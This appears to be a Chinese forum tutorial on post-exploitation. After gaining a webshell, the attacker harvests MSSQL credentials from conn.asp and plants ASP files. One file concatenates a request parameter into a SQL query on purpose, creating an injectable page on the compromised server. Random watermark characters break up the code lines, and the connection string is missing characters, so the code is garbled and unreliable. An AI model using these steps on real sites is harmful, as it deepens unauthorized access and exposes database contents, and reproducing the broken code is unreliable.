首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
2 F; N5 ]" i6 v7 w8 W5 M$ {& `! Y9 n9 ZASP/Visual Basic代码% P( R7 Q" r; k' k2 Y5 i8 Q
<!--#include file="xx.asp"-->
3 A5 M) g3 X, \<%
4 z, f {4 f* Eset rs=server.createobject("ADODB.recordset") 4 m) l( \" k0 |
id = request("id")
4 o' f2 Q& K1 r/ YstrSQL = "select * from admin where id=" & id : v- q& _7 |; G! q1 s/ T
rs.open strSQL,conn,1,3 ) x% r6 C( d# e
rs.close
' p* M" q5 q8 Z6 t) z$ m3 G) Y%> + r8 E: x2 K+ o! h$ P5 }+ C
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
1 {% C' c- r* a' t% B5 i. M: N N然后就要构造一个连接数据库的文件了,代码如下:
* ], a8 |/ g! C& i5 m) S0 ZASP/Visual Basic代码
; g7 O# b7 J0 e. b d. C6 F6 i<% . x$ t0 K. K, b6 C
strSQLServerName = "000.000.000.000" '服务器名称或地址 7 v; |) k7 P: ~/ _
strSQLDBUserName = "sqlname" '数据库帐号 ) O; N& r; T* u. I9 `( ^, |
strSQLDBPassword = "sqlpass" '数据库密码
: U. ^9 W2 m K" ~strSQLDBName = "sqldataname" '数据库名称 ( _) [* h$ |4 D; T: J# V6 K' g
Set conn = Server.CreateObject("ADODB.Connection")
( @0 R, K7 w0 b2 i( N+ O5 RstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
% l6 E) k' R1 [% \8 d5 yconn.open strCon / M0 l+ u8 m* ~. n% c6 e! @
%> # J9 J( M Q9 H+ K c& M
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
* h7 ?( r9 i5 u% r; G: ? |